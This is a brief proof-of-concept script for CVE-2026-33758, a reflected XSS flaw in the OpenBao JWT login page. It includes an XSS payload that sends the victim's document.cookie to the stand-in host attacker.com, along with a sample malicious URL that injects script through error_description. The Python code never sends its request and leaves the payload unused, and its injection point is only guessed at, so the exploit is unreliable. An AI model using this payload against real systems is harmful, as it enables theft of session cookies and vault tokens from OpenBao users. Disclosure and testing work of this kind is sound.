CVE-2026-33758 OpenBao 认证页面 XSS 漏洞

# Proof of Concept for CVE-2026-33758 # This script demonstrates how to trigger the XSS by manipulating the error_description. import requests target_url = "https://<target-openbao>/v1/auth/jwt/login" # The payload attempts to steal the token via XSS xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Constructing a malicious request that forces an error condition # In a real scenario, this might involve tricking the user into clicking a link # that results in this error state being reflected back. data = { "role": "direct_role", # A role configured with callback_mode=direct "jwt": "invalid.jwt.token" # Invalid token to trigger error } # Note: The vulnerability relies on the error_description reflecting untrusted input # If the application allows manipulation of the error description via headers or query params # during the OIDC flow, that is where the payload is injected. # Example malicious URL victim might click: # https://target/v1/auth/jwt/login?error_description=<script>evil()</script>